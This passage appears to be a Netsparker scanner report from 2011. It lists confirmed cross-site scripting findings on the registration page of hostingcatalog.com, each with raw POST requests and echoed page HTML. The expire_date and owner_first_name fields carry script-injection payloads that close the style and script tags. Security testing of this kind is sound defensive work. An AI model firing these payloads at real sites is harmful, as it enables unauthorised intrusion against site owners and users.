$"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='E77A3A5876ED01D2DC04AB7D95B34CBCC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='E77A3A5876ED01D22E60C268788A4BD46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='E77A3A5876ED01D2E6EE8793633A64A4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='E77A3A5876ED01D220021017C046CEAAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='E77A3A5876ED01D2F0907B760E14871B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='E77A3A5876ED01D299BE97D20CA9B24EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='E77A3A5876ED01D2E39ED83AD52B1EC8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='E77A3A5876ED01D2E86FB2A17EEFC8196F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='E77A3A5876ED01D29E9D0AA1B4AA8B19C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='E77A3A5876ED01D27320357766BBE0B16F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='E77A3A5876ED01D26CC2686488479178C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='E77A3A5876ED01D22263770F4D09DFBBC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='E77A3A5876ED01D27A976755B236646DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='E77A3A5876ED01D2CCA2898767598476C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='E77A3A5876ED01D281337D4075F568A7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='E77A3A5876ED01D2BE602201A6C9D3D1C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='E77A3A5876ED01D271452FB9405666126F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='E77A3A5876ED01D25B4314A7D084695E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='E77A3A5876ED01D2E68E7BAFE4E22A096F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST '"--></style></script><script>alert(0x001DEC)</script>
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 544
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001DEC)%3c%2fscript%3e&owner_first_name=Smith&owner_last_name=Smith&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:18:41 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='E77A3A5876ED01D2704EFEDF8442B26BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='E77A3A5876ED01D2049924BF3B1B8CEE6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='E77A3A5876ED01D28F729BC2057FD973C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='E77A3A5876ED01D240E3D0B1BB03F2DEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='E77A3A5876ED01D2DB42471F274F30A06F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='E77A3A5876ED01D23DD4242608ECC8C8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='E77A3A5876ED01D28E1421EA15125A6CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='E77A3A5876ED01D2BB9F40E9731769FC6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='E77A3A5876ED01D2E3A64904F48F4D87C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='E77A3A5876ED01D291BEAF2BDA8A2A036F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='E77A3A5876ED01D2D1CC727EAB8922E6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='E77A3A5876ED01D21D416ED99D81833CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='E77A3A5876ED01D24B6DC914BC27CB7BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='E77A3A5876ED01D2057B46EA7240D63EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='E77A3A5876ED01D2FACE5DF69CA7FB61C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='E77A3A5876ED01D2E48A43845C70A313C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='E77A3A5876ED01D2C2089BDBBC844E716F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='E77A3A5876ED01D24D733244DB7012986F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='E77A3A5876ED01D228C16C103945D9C86F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST '"--></style></script><script>alert(0x001DED)</script>
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 540
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001DED)%3c%2fscript%3e&owner_last_name=Smith&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:18:44 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields 